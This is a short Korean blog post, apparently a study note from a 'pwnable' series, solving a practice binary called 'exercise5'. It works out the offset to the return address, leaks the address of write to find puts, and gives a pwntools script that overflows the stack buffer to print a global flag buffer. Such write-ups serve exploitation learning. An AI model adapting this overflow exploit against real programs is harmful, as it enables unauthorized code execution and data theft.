flag는 그냥 만들어주면 된다. 목적은 shelld이 아닌 flag를 읽는것이다.

 

-0x48 ~ 0x04(ret) 거리 : 0x4c : 76

 

read를 0x60만큼 하므로 덮을수 있다.

 

 

리턴 주소는 확인해보니깐 

유동적으로 변하는것 같다. (스택영역은 유동적이라고 한다.) 그리고 지금 문제는 shell이 아닌 flag이고 flag는 g_buf, 

전역변수이므로 정적이다. 메인함수에서 libc의 주소도 있으므로 출력함수(puts)의 주소를 구하고 g_buf를 읽어주면

된다.

 

문제에서 write함수의 주소를 알려주고, 우린 libc에서 offset을 구해서 puts함수의 주소를 알아낼 수 있다.

from pwn import *


flag_addr = 0x0804a060

r = process("./exercise5")

r.recvuntil("you : ")
write_got = int(r.recv(10),16)
puts_got = write_got - 520848
print hex(puts_got)
payload = "\x90"*0x4c + p32(puts_got) + "A"*0x4 + p32(flag_addr)

print payload
r.sendlineafter(" me : ", payload)
r.interactive()

 

 

'pwnable' 카테고리의 다른 글

ROP에 대하여  (0) 2021.03.30
보호기법  (0) 2020.11.15
4  (0) 2020.10.16
3  (0) 2020.10.16
2  (0) 2020.10.16

+ Recent posts